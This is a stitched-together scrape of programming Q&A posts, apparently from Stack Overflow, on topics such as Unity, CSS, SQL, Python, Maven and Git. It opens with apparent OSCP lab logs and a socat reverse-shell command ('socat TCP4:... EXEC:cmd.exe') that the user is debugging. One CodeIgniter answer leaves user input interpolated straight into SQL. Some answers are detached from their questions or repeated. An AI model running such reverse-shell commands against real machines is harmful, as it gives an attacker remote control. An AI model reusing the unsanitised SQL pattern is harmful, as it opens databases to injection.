2020/02/18 13:22:24 socat[9004] I starting connect loop
2020/02/18 13:22:24 socat[9004] I socket(2, 1, 6) -> 5
2020/02/18 13:22:24 socat[9004] N successfully connected from local address AF=2 192.168.119.145:36796
2020/02/18 13:22:24 socat[9004] I resolved and opened all sock addresses
2020/02/18 13:22:24 socat[9004] N starting data transfer loop with FDs [0,1] and [5,5]
2020/02/18 13:22:25 socat[9004] N socket 2 (fd 5) is at EOF
2020/02/18 13:22:25 socat[9004] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:22:25 socat[9004] I shutdown(5, 2)
2020/02/18 13:22:25 socat[9004] N exiting with status 0

Windows Reverse Shell - Kali Machine

root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d TCP4-LISTEN:443 STDOUT
2020/02/18 13:07:13 socat[8925] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:07:13 socat[8925] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 13:07:13 socat[8925] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:07:13 socat[8925] I socket(2, 1, 6) -> 5
2020/02/18 13:07:13 socat[8925] I starting accept loop
2020/02/18 13:07:13 socat[8925] N listening on AF=2 0.0.0.0:443
2020/02/18 13:07:18 socat[8925] I accept(5, {2, AF=2 192.168.145.10:61633}, 16) -> 6
2020/02/18 13:07:18 socat[8925] N accepting connection from AF=2 192.168.145.10:61633 on AF=2 192.168.119.145:443
2020/02/18 13:07:18 socat[8925] I permitting connection from AF=2 192.168.145.10:61633
2020/02/18 13:07:18 socat[8925] I close(5)
2020/02/18 13:07:18 socat[8925] N using stdout for reading and writing
2020/02/18 13:07:18 socat[8925] I resolved and opened all sock addresses
2020/02/18 13:07:18 socat[8925] N starting data transfer loop with FDs [6,6] and [1,1]
2020/02/18 13:07:18 socat[8925] N socket 1 (fd 6) is at EOF
2020/02/18 13:07:18 socat[8925] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:07:18 socat[8925] I shutdown(6, 2)
2020/02/18 13:07:18 socat[8925] N exiting with status 0

Windows Reverse Shell - Windows Machine

C:\Windows\system32>socat -d -d -d TCP4:192.168.119.145:443 EXEC:cmd.exe
2020/02/18 10:06:39 socat[5396] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:06:39 socat[5396] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:06:39 socat[5396] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:06:39 socat[5396] N opening connection to AF=2 192.168.119.145:443
2020/02/18 10:06:39 socat[5396] I starting connect loop
2020/02/18 10:06:39 socat[5396] I socket(2, 1, 6) -> 5
2020/02/18 10:06:39 socat[5396] N successfully connected from local address AF=2 192.168.145.10:61630
2020/02/18 10:06:39 socat[5396] N forking off child, using socket for reading and writing
2020/02/18 10:06:39 socat[5396] I socketpair(1, 1, 0, {6,7}) -> 0
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[2688] I just born: child process 2688
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[5396] I close(7)
2020/02/18 10:06:39 socat[5396] I resolved and opened all sock addresses
2020/02/18 10:06:39 socat[5396] N starting data transfer loop with FDs [5,5] and [6,6]
2020/02/18 10:06:39 socat[2688] I close(6)
2020/02/18 10:06:39 socat[2688] I dup2(7, 0) -> 0
2020/02/18 10:06:39 socat[2688] I dup2(7, 1) -> 1
2020/02/18 10:06:39 socat[2688] I close(7)
2020/02/18 10:06:39 socat[2688] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:06:39 socat[5396] W read(6, 0x20044228, 8192): Connection reset by peer
2020/02/18 10:06:39 socat[5396] N childdied(): handling signal 20
2020/02/18 10:06:39 socat[5396] I childdied(signum=20)
2020/02/18 10:06:39 socat[5396] I exec'd process 2688 on socket 1 terminated
2020/02/18 10:06:39 socat[5396] I waitpid(): child 2688 exited with status 0
2020/02/18 10:06:39 socat[5396] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:06:39 socat[5396] I childdied() finished
2020/02/18 10:06:39 socat[5396] N socket 2 to socket 1 is in error
2020/02/18 10:06:39 socat[5396] N socket 2 (fd 6) is at EOF
2020/02/18 10:06:39 socat[5396] I shutdown(5, 1)
2020/02/18 10:06:39 socat[5396] I terminated child did not leave data for us
2020/02/18 10:06:39 socat[5396] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:06:39 socat[5396] I shutdown(5, 2)
2020/02/18 10:06:39 socat[5396] I shutdown(6, 2)
2020/02/18 10:06:39 socat[5396] N exiting with status 0

What am I doing wrong here ?

Why can't I attach a Windows cmd.exe process to a socket ?

PS : I know the timestamps between my exemples doesn't match


问:
Double Jump Unity 2D
i want to make a 2D platformer game in Unity 2D and I'd like a system where my player can do a double jump, so he can jump and jump once more in the air, but can't jump anymore than that until hes landed back down, and i have no idea how to do this</p>

答:
Didn't try this code, just want my idea to be understood :</p>

```<code>int nbJumps = 0;

void Update()
{
    if (Input.GetKeyDown("space") && nbJumps < 2)
    {
        //jump here
        nbJumps++;
    }

    if (playerCollider.IsTouching(groundCollider))
    {
        nbJumps = 0;
    }
}
</code>```

Title: Double Jump Unity 2D

Body:
Didn't try this code, just want my idea to be understood :

int nbJumps = 0;

void Update()
{
    if (Input.GetKeyDown("space") && nbJumps < 2)
    {
        //jump here
        nbJumps++;
    }

    if (playerCollider.IsTouching(groundCollider))
    {
        nbJumps = 0;
    }
}


问:
How to put content under fixed header or nav when opened in browser?
Hello I have problem when I make header using html and css. I have my header in fixed position, but the content is covered up my header. I want my content position under header when I run it. One more, I set header width 100% but it shift to the right so it doesn't cover up whole width on the screen.
[UPDATED]

```
<pre class="snippet-code-html lang-html prettyprint-override"><code><html>
<head>
    <meta charset='utf-8'>
    <meta http-equiv='X-UA-Compatible' content='IE=edge'>
    <title>Flexbox</title>
    <meta name='viewport' content='width=device-width, initial-scale=1'>

</head>

<body>
    <header>
        <h1> Flexbox</h1>
    </header>
    <div class="whole-container">
    <div class="container-1">
        <div class="box-1">
            <h3>Box 1</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="box-2">
            <h3>Box 2</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="box-3">
            <h3>Box 3</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
    </div>

    <div class="container-2">
        <div class="container-2-box">
            <h3>Box 4</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="container-2-box">
            <h3>Box 5</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="container-2-box">
            <h3>Box 6</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
    </div>
    <div class="container-3">
        <div class="container-3-box">
            <h3>Box 7</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="container-3-box">
            <h3>Box 8</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="container-3-box">

            <h3>Box 9</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="container-3-box">
            <h3>Box 10</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="container-3-box">
            <h3>Box 11</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
        <div class="container-3-box">
            <h3>Box 12</h3>
            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
        </div>
    </div>
</div>
</body>
</html></code>```

答:
Without seeing your HTML code it is a bit guessing, but I'll give it a go.

Adding a position: fixed to an element will make it flow above the other content. The element is taken out of the document flow. So the overlapping is natural behavior.

To prevent the content to be hidden, you should add a padding to the parent of the boxes. I'm guessing that when you add the following code, it solves the problem

```<code>body {
   padding-top: 3rem; /* should be at least the height of the header*/
}
</code>```

The second question about the position of the header can be fixed by the following code:

```<code>/* option 1, add a left position:*/
header {
   ...
   left: 0;
}

/* option 2, remove the width, use left and right position instead: */
header {
   ...
   /* width: 100%; remove this line */
   left: 0;
   right: 0;
}
</code>```

Body:
Hello I have problem when I make header using html and css. I have my header in fixed position, but the content is covered up my header. I want my content position under header when I run it. One more, I set header width 100% but it shift to the right so it doesn't cover up whole width on the screen.
[UPDATED]

    <meta charset='utf-8'>
    <meta http-equiv='X-UA-Compatible' content='IE=edge'>
    <title>Flexbox</title>
    <meta name='viewport' content='width=device-width, initial-scale=1'>

 Flexbox

Box 1

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 2

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 3

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 4

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 5

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 6

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 7

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 8

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 9

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 10

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 11

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Box 12

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Body:
Without seeing your HTML code it is a bit guessing, but I'll give it a go.

Adding a position: fixed to an element will make it flow above the other content. The element is taken out of the document flow. So the overlapping is natural behavior.

To prevent the content to be hidden, you should add a padding to the parent of the boxes. I'm guessing that when you add the following code, it solves the problem

body {
   padding-top: 3rem; /* should be at least the height of the header*/
}

The second question about the position of the header can be fixed by the following code:

/* option 1, add a left position:*/
header {
   ...
   left: 0;
}

/* option 2, remove the width, use left and right position instead: */
header {
   ...
   /* width: 100%; remove this line */
   left: 0;
   right: 0;
}


问:
Automation of pivot chart in excel 2007
Could you please help me in order to automate a pivot chart, below is the code which I had written. I'm currently stuck creating a chart </p>

```<code>require "rubygems"
# require "watir" # Commented out by editor to the question, not by the OP
require 'win32ole'

excel=WIN32OLE.new("Excel.Application")
excel.visible=true
work_book=excel.Workbooks.Open("C:\\VAMSI\\PIVOTAL_CHART_CODE\\pivotal.xlsx")
worksheet = work_book.worksheets(1)
worksheet.range("a1").select
autoit= WIN32OLE.new("AutoItX3.Control")
autoit.Send("!n")
autoit.Send("!v")
autoit.Send("!t")
autoit.Send("{ENTER}")
</code>```

答: Go into excel and record a macro in which you create a pivot chart. Then look at the macro source code and convert it to ruby or AutoIt or watir or whatever else you feel like using...</p>

ContentLicense: CC BY-SA 3.0

Title: Automation of pivot chart in excel 2007

Body:
Could you please help me in order to automate a pivot chart, below is the code which I had written. I'm currently stuck creating a chart

require "rubygems"
# require "watir" # Commented out by editor to the question, not by the OP
require 'win32ole'

excel=WIN32OLE.new("Excel.Application")
excel.visible=true
work_book=excel.Workbooks.Open("C:\\VAMSI\\PIVOTAL_CHART_CODE\\pivotal.xlsx")
worksheet = work_book.worksheets(1)
worksheet.range("a1").select
autoit= WIN32OLE.new("AutoItX3.Control")
autoit.Send("!n")
autoit.Send("!v")
autoit.Send("!t")
autoit.Send("{ENTER}")


问:
Get all Numbers that are not existing from a Microsoft SQL-VarChar-Column
I have a table with a Column for ID-Numbers that are not increased in single steps.

So there are Numbers that are not used and this i need. The Column is a VarChar-Column.

For Example:

Used Numbers in the table = 2, 5, 7, 9, 10 etc.

So i need a Query that gives me = 1, 3, 4, 6, 8 etc.

Pseudo-Code something like:

select numbers from Table NOT IN (select numbers from table)!

I have tried with NOT IN and NOT EXISTS, but nothing works.

Can someone help me to achieve this?

EDIT: Range of Numbers is from 0 to 99999999 !!!

答:
```<code>DECLARE @Table AS TABLE
(
    Id VARCHAR(5)
)

INSERT INTO @Table
VALUES
 ('1')
,('3')
,('5')
,('7')
,('10')

DECLARE @Range AS TABLE
(
    RangeId VARCHAR(10)
)

INSERT INTO @Range
SELECT TOP (1000000) n = CONVERT(VARCHAR(10), ROW_NUMBER() OVER (ORDER BY s1.[object_id]))
FROM sys.all_objects AS s1 CROSS JOIN sys.all_objects AS s2
OPTION (MAXDOP 1)

select
    MissingId = RangeId
from
    @Range AS R
    LEFT OUTER JOIN @Table AS T ON T.Id = R.RangeId
WHERE
    CONVERT(INT,R.RangeId) <= (SELECT MAX(CONVERT(INT,Id)) FROM @Table)
    AND T.Id IS NULL
order by MissingId
</code>```


问:
Split output from subprocess into List or Tuple
I have a file list formatted as

[
    '1582120598 672 /Users/user/Desktop/',
    '1581847900 64 /Users/user/Desktop//untitled folder',
    '1581842714 352 /Users/user/Desktop//RECEIPTS',
    '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg'
]
```

<p>I want to split each entry up into <code>list</code> (or tuple if that would be better). I'm currently using this:</p>

<pre class="lang-py prettyprint-override"><code>new_list = list(map(lambda x: re.findall('(\d+)\s(\d+)\s(.*)',str(x)), copy_list))
</code>```

but the output is returned as a tuple wrapped in a list ie. the first entry is [('1582120598, 672, /Users/user/Desktop/')] and so new_list[0][0] is failing whereas I want it to return 1582120598

Thanks for any help

答:
I think you want to do this:

```<code>my_list = [
    '1582120598 672 /Users/user/Desktop/',
    '1581847900 64 /Users/user/Desktop//untitled folder',
    '1581842714 352 /Users/user/Desktop//RECEIPTS',
    '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg'
]

my_new_list = [x.split(' ') for x in my_list]
</code>```

Then this:

```<code>my_new_list[0][0]
</code>```

Returns:

```<code>'1582120598'
</code>```

Body:
I have a file list formatted as

[
    '1582120598 672 /Users/user/Desktop/',
    '1581847900 64 /Users/user/Desktop//untitled folder',
    '1581842714 352 /Users/user/Desktop//RECEIPTS',
    '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg'
]

I want to split each entry up into list (or tuple if that would be better). I'm currently using this:

new_list = list(map(lambda x: re.findall('(\d+)\s(\d+)\s(.*)',str(x)), copy_list))

but the output is returned as a tuple wrapped in a list ie. the first entry is [('1582120598, 672, /Users/user/Desktop/')] and so new_list[0][0] is failing whereas I want it to return 1582120598

Thanks for any help

Body:
I think you want to do this:

my_list = [
    '1582120598 672 /Users/user/Desktop/',
    '1581847900 64 /Users/user/Desktop//untitled folder',
    '1581842714 352 /Users/user/Desktop//RECEIPTS',
    '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg'
]

my_new_list = [x.split(' ') for x in my_list]

Then this:

my_new_list[0][0]

Returns:

'1582120598'


问:
python-vlc - Codec `h264' (H264 - MPEG-4 AVC (part 10)) is not supported
I am trying to play a video using python-vlc in python. It is giving me the following error.

```<code>[00007f92180098b0] main decoder error: Codec `h264` (H264 - MPEG-4 AVC (part 10)) is not supported.
[00007f92180098b0] main decoder error: Codec not supported
[00007f92180098b0] main decoder error: VLC could not decode the format "h264" (H264 - MPEG-4 AVC (part 10))
</code>```

The code to play the video is as follows

```<code>import sys
import vlc
import easygui

if(len(sys.argv) < 2):
    print("Please enter file name as command line argument")
    exit(0)

media = vlc.MediaPlayer(sys.argv[1])
media.play()
while True:
    pass
</code>```

Any help is greatly appreciated. Thank you.

答:
I came across with this problem while using Anaconda virtual environment. I solved it by updating ffmpeg package which was very old. This action also triggered openh264 new library installation.

```<code>conda install -c conda-forge ffmpeg
</code>```

In case of the usual python run, I think installing/updating ffmpeg library will solve it.

Body:
I am trying to play a video using python-vlc in python. It is giving me the following error.

[00007f92180098b0] main decoder error: Codec `h264` (H264 - MPEG-4 AVC (part 10)) is not supported.
[00007f92180098b0] main decoder error: Codec not supported
[00007f92180098b0] main decoder error: VLC could not decode the format "h264" (H264 - MPEG-4 AVC (part 10))

The code to play the video is as follows

import sys
import vlc
import easygui

if(len(sys.argv) < 2):
    print("Please enter file name as command line argument")
    exit(0)

media = vlc.MediaPlayer(sys.argv[1])
media.play()
while True:
    pass

Any help is greatly appreciated. Thank you.

Body:
I came across with this problem while using Anaconda virtual environment. I solved it by updating ffmpeg package which was very old. This action also triggered openh264 new library installation.

conda install -c conda-forge ffmpeg

In case of the usual python run, I think installing/updating ffmpeg library will solve it.


问:
Levenberg-Marquardt algorithm for 3D data
I have a point cloud in 3D whose coordinates are stored in a 3D vector, and I would like to fit a nonlinear function to the point cloud.

Do you know if the lsqcurvefit algorithm implemented in MATLAB works for 3D data as well?

Do you have any example data that uses 'levenberg-marquardt' for 3D data using MATLAB?

options = optimoptions('lsqcurvefit','Algorithm','levenberg-marquardt');
```

答:
Yes, you can still use lsqcurvefit in 3D, but if you want to keep your code as simple as possible (see edit) I suggest the lsqnonlin function for multivariate nonlinear data fitting. The linked documentation page shows several examples, one of which uses the Levenberg-Marquardt algorithm in 2D. In 3D or higher, the usage is similar.

For instance, suppose you have a cloud of points in 3D whose coordinates are stored in the arrays x, y and z. Suppose you are looking for a fitting surface (no longer a curve because you are in 3D) of the form z = exp(r1*x + r2*y), where r1 and r2 are coefficients to be found. You start by defining the following inline function

```<code>fun = @(r) exp(r(1)*x + r(2)*y) - z;
</code>```

where r is an unknown 1x2 array whose entries will be your unknown coefficients (r1 and r2). We are ready to solve the problem:

```<code>r0 = [1,1]; % Initial guess for r
options = optimoptions(@lsqnonlin, 'Algorithm', 'levenberg-marquardt');
lsqnonlin(fun, r0, [], [], options)
</code>```

You will get the output on the command window.

Tested on MATLAB 2018a.

Hope that helps.

EDIT: lsqcurvefit vs lsqnonlin

lsqcurvefit is basically a special case of lsqnonlin. The discussion on whichever is better in terms of speed and accuracy is wide and is beyond the scope of this post. There are two reasons why I have suggested lsqnonlin:

You are free to take x, y, z as matrices instead of column vectors, just make sure that the dimensions match. In fact, if you use lsqcurvefit, your fun must have an additional argument xdata defined as [x, y] where x and y are taken in column form.

You are free to choose your fitting function fun to be implicit, that is of the form f(x,y,z)=0.

Body:
Yes, you can still use lsqcurvefit in 3D, but if you want to keep your code as simple as possible (see edit) I suggest the lsqnonlin function for multivariate nonlinear data fitting. The linked documentation page shows several examples, one of which uses the Levenberg-Marquardt algorithm in 2D. In 3D or higher, the usage is similar.

For instance, suppose you have a cloud of points in 3D whose coordinates are stored in the arrays x, y and z. Suppose you are looking for a fitting surface (no longer a curve because you are in 3D) of the form z = exp(r1*x + r2*y), where r1 and r2 are coefficients to be found. You start by defining the following inline function

fun = @(r) exp(r(1)*x + r(2)*y) - z;

where r is an unknown 1x2 array whose entries will be your unknown coefficients (r1 and r2). We are ready to solve the problem:

r0 = [1,1]; % Initial guess for r
options = optimoptions(@lsqnonlin, 'Algorithm', 'levenberg-marquardt');
lsqnonlin(fun, r0, [], [], options)

You will get the output on the command window.

Tested on MATLAB 2018a.

Hope that helps.

EDIT: lsqcurvefit vs lsqnonlin

lsqcurvefit is basically a special case of lsqnonlin. The discussion on whichever is better in terms of speed and accuracy is wide and is beyond the scope of this post. There are two reasons why I have suggested lsqnonlin:

You are free to take x, y, z as matrices instead of column vectors, just make sure that the dimensions match. In fact, if you use lsqcurvefit, your fun must have an additional argument xdata defined as [x, y] where x and y are taken in column form.

You are free to choose your fitting function fun to be implicit, that is of the form f(x,y,z)=0.


问:
IntelliJ: Error:java: error: release version 5 not supported
I'm using IntelliJ IDEA Ultimate 2019.3.1. Whenever I try to start any simple Java Maven project (may it be even a simple Hello World) I get the following error:

```<code>Error:java: error: release version 5 not supported
</code>```

Running java --version by terminal I get the following output:

```<code>openjdk 11.0.5 2019-10-15
OpenJDK Runtime Environment (build 11.0.5+10-post-Ubuntu-0ubuntu1.1)
OpenJDK 64-Bit Server VM (build 11.0.5+10-post-Ubuntu-0ubuntu1.1, mixed mode, sharing)
</code>```

Running javac --version by terminal I get the following output:

```<code>javac 11.0.5
</code>```

Going to the Settings of the Java Compiler ( as suggested here ) I see this:

I tried editing the "Target bytecode version" to 1.8 but I get the following errors:

```<code>Error:(1, 26) java: package javafx.application does not exist
Error:(2, 20) java: package javafx.stage does not exist
Error:(4, 27) java: cannot find symbol
  symbol: class Application
Error:(12, 23) java: cannot find symbol
  symbol:   class Stage
  location: class Main
Error:(7, 9) java: cannot find symbol
  symbol:   method launch(java.lang.String[])
  location: class Main
Error:(11, 5) java: method does not override or implement a method from a supertype
</code>```

Changing it to version 1.11 I get this error instead:

```<code>Error:java: Source option 5 is no longer supported. Use 6 or later.
</code>```

What do you think is the problem? How may I solve it?

答:
I add the following code to my pom.xml file. It solved my problem.

<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
</properties>
```

Body:
I'm using IntelliJ IDEA Ultimate 2019.3.1. Whenever I try to start any simple Java Maven project (may it be even a simple Hello World) I get the following error:

Error:java: error: release version 5 not supported

Running java --version by terminal I get the following output:

openjdk 11.0.5 2019-10-15
OpenJDK Runtime Environment (build 11.0.5+10-post-Ubuntu-0ubuntu1.1)
OpenJDK 64-Bit Server VM (build 11.0.5+10-post-Ubuntu-0ubuntu1.1, mixed mode, sharing)

Running javac --version by terminal I get the following output:

javac 11.0.5

Going to the Settings of the Java Compiler ( as suggested here ) I see this:

I tried editing the "Target bytecode version" to 1.8 but I get the following errors:

Error:(1, 26) java: package javafx.application does not exist
Error:(2, 20) java: package javafx.stage does not exist
Error:(4, 27) java: cannot find symbol
  symbol: class Application
Error:(12, 23) java: cannot find symbol
  symbol:   class Stage
  location: class Main
Error:(7, 9) java: cannot find symbol
  symbol:   method launch(java.lang.String[])
  location: class Main
Error:(11, 5) java: method does not override or implement a method from a supertype

Changing it to version 1.11 I get this error instead:

Error:java: Source option 5 is no longer supported. Use 6 or later.

What do you think is the problem? How may I solve it?


答:
map those list of tuple to list.

```<code>import re

copy_list = ['1582120598 672 /Users/user/Desktop/', '1581847900 64 /Users/user/Desktop//untitled folder', '1581842714 352 /Users/user/Desktop//RECEIPTS', '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg']

new_list = list(map(lambda x: re.findall('(\d+)\s(\d+)\s(.*)',str(x)), copy_list))
new_list = [list(x[0]) for x in new_list]
print(new_list)
print(new_list[0][0])
</code>```

Output:

```<code>[['1582120598', '672', '/Users/user/Desktop/'],
 ['1581847900', '64', '/Users/user/Desktop//untitled folder'],
 ['1581842714', '352', '/Users/user/Desktop//RECEIPTS'],
 ['1581686620',
  '433097',
  '/Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg']]
'1582120598'
</code>```

Title: Split output from subprocess into List or Tuple

Body:
map those list of tuple to list.

import re

copy_list = ['1582120598 672 /Users/user/Desktop/', '1581847900 64 /Users/user/Desktop//untitled folder', '1581842714 352 /Users/user/Desktop//RECEIPTS', '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg']

new_list = list(map(lambda x: re.findall('(\d+)\s(\d+)\s(.*)',str(x)), copy_list))
new_list = [list(x[0]) for x in new_list]
print(new_list)
print(new_list[0][0])

Output:

[['1582120598', '672', '/Users/user/Desktop/'],
 ['1581847900', '64', '/Users/user/Desktop//untitled folder'],
 ['1581842714', '352', '/Users/user/Desktop//RECEIPTS'],
 ['1581686620',
  '433097',
  '/Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg']]
'1582120598'


问:
CodeIgniter sql query with limit and offset not showing results
I am trying to retrieve a list of names from the database after a search and due to the nature of the search, I have to use a custom sql and not the default codeigniter one.
As I need to do pagination, I have to use a dynamic limit and offset. However, I found that it doesn't give me the proper results. I have tested this query in mysql and it works. I'm not sure where I'm going wrong. Please help

My Model:

```<code>public function count_search($id,$input){
        $sql = "SELECT * FROM contacts WHERE CONCAT_WS(' ', first_name, last_name) LIKE '%$input%'";
        $query = $this->db->query($sql);
        $count = $query->num_rows();
        if($count>0){
            return $count;
        }else{
            return 0;
        }
    }

public function search($limit,$start,$id,$input){
            $sql = "SELECT * FROM contacts WHERE CONCAT_WS(' ', first_name, last_name) LIKE '%$input%'";
            $query = $this->db->query($sql);
            if($query->num_rows()>0){
                foreach($query->result()as $row){
                    $contacts[] = $row;
                }
                return $contacts;
            }
            return false;
    }
</code>```

答:
I'm facing same issue in my recent project and it makes me crazy just by debugging the same thing and spent too many days on same issue.I've read one answer from this link : Stackoverflow Answer
I've checked my $input value and i've seen that it comes with Circular brackets-->() in $input string value because of that LIKE operator not returning result in codeignitor and same query works in phpmyadmin fluently.

But when i removed circular brackets from string it's working fluently in codeignitor also. You need to check $input string not contains much special characters.

Body:
I am trying to retrieve a list of names from the database after a search and due to the nature of the search, I have to use a custom sql and not the default codeigniter one.
As I need to do pagination, I have to use a dynamic limit and offset. However, I found that it doesn't give me the proper results. I have tested this query in mysql and it works. I'm not sure where I'm going wrong. Please help

My Model:

public function count_search($id,$input){
        $sql = "SELECT * FROM contacts WHERE CONCAT_WS(' ', first_name, last_name) LIKE '%$input%'";
        $query = $this->db->query($sql);
        $count = $query->num_rows();
        if($count>0){
            return $count;
        }else{
            return 0;
        }
    }

public function search($limit,$start,$id,$input){
            $sql = "SELECT * FROM contacts WHERE CONCAT_WS(' ', first_name, last_name) LIKE '%$input%'";
            $query = $this->db->query($sql);
            if($query->num_rows()>0){
                foreach($query->result()as $row){
                    $contacts[] = $row;
                }
                return $contacts;
            }
            return false;
    }


答:
You may use Laravel collection's pluck method like this:

$papers = collect($researches)->pluck('papers')->toArray();
```

See Laravel docs for more info.

Title: Laravel, PHP Object and array manipulations

Body:
So i'm retrieving some records from the database, the records called researches and for each research in this table there might be one or more papers. So now i'm left with $researches variable which has the following output:

{
"2": {
      "id": 2,
      "name": "Science",
     },
"4":{
      "id": 7,
      "name": "Biology",
    }
"9":{
      "id": 7,
      "name": "Chemistry",
    }
}

when typing $researches[2]->papers I get all the papers that belongs to research which has ID number 2, so I get the following:

{
    "papers": [
        {
            "id": 456,
            "name": "XYZ",
            "title": "title X",
        },
        {
            "id": 470,
            "name": "YUI",
            "title": "title Y",
        }
    ]
}

How can I get all the papers of all the researches so the output would be:

{
        {
            "id": 456,
            "name": "XYZ",
            "title": "title X",
        },
        {
            "id": 470,
            "name": "YUI",
            "title": "title Y",
        },
        {
            "id": 488,
            "name": "RVF",
            "title": "Title Z",
        },
        {
         ...
        }

}

So basically, I want to get all the papers of all the researches and store them in one object.

Body:
You may use Laravel collection's pluck method like this:

$papers = collect($researches)->pluck('papers')->toArray();

See Laravel docs for more info.


答:
Do you need the other groups? It seems like for your specific use-case, you could vastly simplify your lambda by splitting the string on whitespace instead of using regex:

```<code>>>> new_list = [
...     '1582120598 672 /Users/user/Desktop/',
...     '1581847900 64 /Users/user/Desktop//untitled folder',
...     '1581842714 352 /Users/user/Desktop//RECEIPTS',
...     '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg'
... ]
>>> first_fields = [y.split()[0] for y in new_list]
['1582120598', '1581847900', '1581842714', '1581686620']
>>> first_fields[0]
'1582120598'
</code>```

Otherwise, if you need the other groups too:

```<code>>>> new_list = list(map(lambda x: re.findall('(\d+)\s(\d+)\s(.*)',str(x)), copy_list))
>>> first_fields = [x[0][0] for x in new_list]
['1582120598', '1581847900', '1581842714', '1581686620']
>>> first_fields[0]
'1582120598'
</code>```

An aside:

You can simplify your new_list creation as follows using a list comprehension:

```<code>new_list = [re.findall('(\d+)\s(\d+)\s(.*)',str(x)) for x in copy_list]
</code>```

Body:
Do you need the other groups? It seems like for your specific use-case, you could vastly simplify your lambda by splitting the string on whitespace instead of using regex:

>>> new_list = [
...     '1582120598 672 /Users/user/Desktop/',
...     '1581847900 64 /Users/user/Desktop//untitled folder',
...     '1581842714 352 /Users/user/Desktop//RECEIPTS',
...     '1581686620 433097 /Users/user/Desktop//RECEIPTS/cameringo_20200214_132341.jpg'
... ]
>>> first_fields = [y.split()[0] for y in new_list]
['1582120598', '1581847900', '1581842714', '1581686620']
>>> first_fields[0]
'1582120598'

Otherwise, if you need the other groups too:

>>> new_list = list(map(lambda x: re.findall('(\d+)\s(\d+)\s(.*)',str(x)), copy_list))
>>> first_fields = [x[0][0] for x in new_list]
['1582120598', '1581847900', '1581842714', '1581686620']
>>> first_fields[0]
'1582120598'

An aside:

You can simplify your new_list creation as follows using a list comprehension:

new_list = [re.findall('(\d+)\s(\d+)\s(.*)',str(x)) for x in copy_list]


问:
Name conflicts with refs/heads/release when trying to create release/ branch
I'm trying to create release/0.1.0 branch in Azure DevOps repo but getting error Name conflicts with refs/heads/release:

It doesn't matter based on what branch I'm trying to create,

it also works fine when I'm trying to create feature/0.1.0 branch

Is it a king of a permissions issue (I'm not admin in this Azure DevOps project)?

答:
This is purely a Git restriction. You can't create a branch "under" another branch.

You could create releases/0.1.0. But since there is already a release branch, you can't put a new branch underneath it.

Observe:

git status

```<code>On branch master
nothing to commit, working tree clean
</code>```

git checkout -b master/foo

```<code>fatal: cannot lock ref 'refs/heads/master/foo': 'refs/heads/master' exists;
cannot create 'refs/heads/master/foo'
</code>```

Body:
This is purely a Git restriction. You can't create a branch "under" another branch.

You could create releases/0.1.0. But since there is already a release branch, you can't put a new branch underneath it.

Observe:

git status

On branch master
nothing to commit, working tree clean

git checkout -b master/foo

